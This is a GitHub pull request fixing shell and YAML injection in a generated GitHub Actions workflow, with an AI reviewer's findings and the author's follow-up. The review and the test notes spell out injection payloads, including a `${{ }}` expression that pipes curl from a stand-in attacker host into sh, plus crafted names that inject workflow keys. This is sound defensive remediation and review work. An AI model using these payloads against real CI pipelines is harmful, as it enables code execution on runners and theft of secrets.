Repository navigation
Conversation
… YAML and shell layers CodeQL js/incomplete-sanitization #5 remediation (flakyTestService.js:220): testFilter escaped only double quotes. A test name containing a backslash (specifically \") defeats that escaping in the generated Actions command — the doubled backslash collapses and the quote closes the shell argument early, executing the remainder as shell syntax in the runner. Dollar signs and backticks also expand inside double quotes. New boundary sanitizer sanitizeTestIdentifier(), applied uniformly at both interpolation sites (filter and comments): - YAML layer: all C0 controls + DEL become spaces — the only characters that can escape a command:| block scalar or a trailing comment line and inject workflow structure - shell layer: backslash FIRST, then double quote, dollar sign, backtick buildQuarantineWorkflow now exported for testing. Regressions (flaky-quarantine-escaping.test.js, 13 tests): real js-yaml parse of the generated document with structure assertions (one job, four steps, injected runs-on/on: keys survive only as data); POSIX double-quote decoder proving the closing quote is the intended one (rest === 2>&1) for crafted \", $(), backtick, ${IFS}, newline and CR payloads; benign names byte-identical (equivalent quarantine behavior). Signed-off-by: Alajmah <55954113+Alajmah@users.noreply.github.com>
Codex Review Summary: ❌ FailedThis comment shows the latest Codex review activity on this pull request.
ℹ️ About Codex in GitHubYour team has set up Codex to review pull requests in this repo. Reviews are triggered when you
Codex reacts with 👀 while any review is running, comments if it has suggestions, and reacts with 👍 once all reviews finish with no findings. |
|
You have reached your Codex usage limits for code reviews. You can see your limits in the Codex usage dashboard. |
|
/gitwire run review |
|
|
There was a problem hiding this comment.
🤖 AI Code Review — ❌ Changes requested
Confidence: high · Findings: 3
AI judgment: REQUEST_CHANGES · Evidence: COMPLETE · Authority: repository policy blocked
Evidence complete · 2/2 changed files accounted for
1 critical issue require attention before merging.
Key issues
- [CRITICAL] GitHub Actions expression injection (${{ }}) bypasses the new shell escaping — command execution remains possible (
packages/web/src/services/flakyTestService.js) 🔮
Other findings (2)
- [medium] Sanitizer misses YAML 1.1 line breaks (NEL U+0085, LS U+2028, PS U+2029) and C1 controls
- [low] testNamePattern remains regex-interpreted: sanitized names still alter matching semantics
🔮 Devil's Advocate (2 turns): 3 upheld
GitWire AI Review Gate (bundle-driven v2) · Structured schema · Scope-validated · Devil's Advocate · Repository policy blocked this merge
| return String(value ?? "") | ||
| .replace(/[\u0000-\u001f\u007f]+/g, " ") | ||
| .replace(/\\/g, "\\\\") | ||
| .replace(/"/g, '\\"') |
There was a problem hiding this comment.
[CRITICAL] GitHub Actions expression injection (${{ }}) bypasses the new shell escaping — command execution remains possible
The fix escapes $ as \$ for bash, but the generated value passes through a THIRD evaluation layer first: GitHub Actions expression expansion. The runner evaluates ${{ ... }} inside the command:/with: value before any shell runs, and a backslash is not an escape in the expression language — \${{ ... }} in the file is still evaluated. The substituted result is inserted after all escaping has been applied, so any $(, backtick, or quote in the result re-enters bash unprotected; the stray \ from \$ can even help an attacker break the quotes (\ + \ -> literal backslash, then the attacker's \" closes the string). A test name as simple as ${{ 'a$(curl attacker.example|sh)' }} becomes \a$(curl attacker.example|sh) inside the double-quoted argument after expansion, and bash executes the substitution on the runner; ${{ secrets.* }} expressions are also inlined into argv. The new tests cannot catch this: js-yaml and the shell tokenizer validate the file text, not the expression-expanded value, so they stay green while the bypass persists. Suggested fix: neutralize ${{ in sanitizeTestIdentifier before the shell-escaping replaces (e.g. .replace(/\$\{\{/g, "{")), or reject identifier values containing {{.
| // Escaping is identical at both interpolation sites (filter and comments) by | ||
| // policy: one function, no per-site decisions. | ||
| export function sanitizeTestIdentifier(value) { | ||
| return String(value ?? "") |
There was a problem hiding this comment.
[MEDIUM] Sanitizer misses YAML 1.1 line breaks (NEL U+0085, LS U+2028, PS U+2029) and C1 controls
The strip class covers C0 (0x00-0x1F) plus DEL only. YAML 1.1 additionally treats NEL (U+0085), LS (U+2028), and PS (U+2029) as line breaks, and the Actions runner's parser implements YAML 1.1 semantics — so an identifier containing one of these characters can terminate a trailing # comment line mid-value and inject top-level workflow keys, or disturb the command: | block scalar. js-yaml, used in the new tests, treats these as ordinary printable characters and honors only LF/CR, so the added assertions pass while the boundary remains open for runners using 1.1 break semantics. Bare C1 controls (0x80-0x9F except NEL) are also non-printable in YAML and can make the generated file invalid for strict parsers, breaking the workflow run. Fix: widen the class to /[\u0000-\u001f\u007f-\u009f\u2028\u2029]+/g, i.e. strip everything below U+0020 plus 0x7F-0x9F and the two Unicode line separators.
| } | ||
|
|
||
| export function buildQuarantineWorkflow(candidates, repository) { | ||
| const testFilter = candidates |
There was a problem hiding this comment.
[LOW] testNamePattern remains regex-interpreted: sanitized names still alter matching semantics
After shell decoding, the value reaches jest's --testNamePattern as a regular expression, so metacharacters the sanitizer deliberately passes through stay active at that layer: $ is an anchor, and | ( ) [ ] * + ? { } alter alternation, grouping, and quantifiers. A crafted name can widen which tests the quarantine workflow matches, or make the combined |-joined pattern invalid and fail the run entirely. This is not command execution and predates the patch, but since this PR's stated goal is that test identifiers remain data, consider regex-escaping metacharacters (prefixing with \\) or documenting that the filter is best-effort for names containing regex syntax.
|
Superseded by the v2 PR: the re-run review (REQUEST_CHANGES, ai_reviews 1442) found a CRITICAL gap my v1 missed — GitHub Actions evaluates ${{ ... }} at workflow-parse time and shell escaping does not neutralize it — plus YAML 1.1 line-break characters (NEL/LS/PS/C1) not stripped. Both corrected in v2 (${{ opener broken first; control class extended). The LOW finding (testNamePattern regex interpretation) is pre-existing, recorded there. |
Summary
Unit 1 of the authorized #425 remediation sequence (#5 → #1+#2 → #3 → #4). Remediation of CodeQL
js/incomplete-sanitization#5 — the highest-priority finding in the tranche (direct command-execution potential). Merge authority reserved; returned at exact head for clearance.The defect (verified in the tranche report, comment 7053127297)
buildQuarantineWorkflow()(flakyTestService.js) interpolates untrusted test-suite and test-name values (parsed from repository CI output) into a generated GitHub Actions workflow, escaping only double quotes:\— specifically a name embedding\"— defeats the escaping: the doubled backslash collapses and the quote closes the--testNamePattern="…"argument early, so the test-name remainder runs as shell syntax in the Actions runner.$and backtick also expand inside double quotes (command substitution / variable expansion) even with correct quote escaping.command: |block scalar's indentation or the trailing#comment lines and inject workflow structure (e.g. a name crafted asok\nruns-on: …\n - run: malicious).Attacker path: PR author adds a deliberately flaky test (random pass/fail) with a crafted name → flaky-detector candidates → generated quarantine workflow → bot PR → human merge (weak gate: generated YAML is boilerplate nobody line-reads).
The correction
New exported boundary sanitizer
sanitizeTestIdentifier()applied uniformly at both interpolation sites (test filter and comment lines — one function, no per-site decisions):\u0000–\u001f,\u007f) becomes a space — no legitimate test identifier contains them, and they are the only characters that can re-enter structure at this layer.\"collapse the escape), then double quote, dollar sign, and backtick — the complete expansion/substitution surface inside POSIX double quotes.buildQuarantineWorkflowexported for testability. Generated workflow byte-identical for benign names.Regressions (
packages/web/tests/unit/flaky-quarantine-escaping.test.js, 11 tests + 2 pre-existing)Per the directive: crafted names cannot execute an additional command, alter workflow structure, or change the intended filter argument; normal names produce equivalent behavior.
runs-on, and intendedon:triggers — for payloads embeddingruns-on:,- run: malicious,on: [push],jobs:via\nand\r\n. Injected text survives only as data inside the argument.--testNamePattern=argument tail: for\",$(curl evil|sh), backtick,${IFS}, and multi-candidate|joins, the decoded payload is the literal name and the terminating quote is the intended one (post-close remainder is exactly2>&1) — the closing-quote test that distinguishes a well-formed argument from an early-close injection.auth > logs in with valid token [slow]) sanitize byte-identically; comment lines carry the same flattening; no control characters anywhere in the generated document.Verification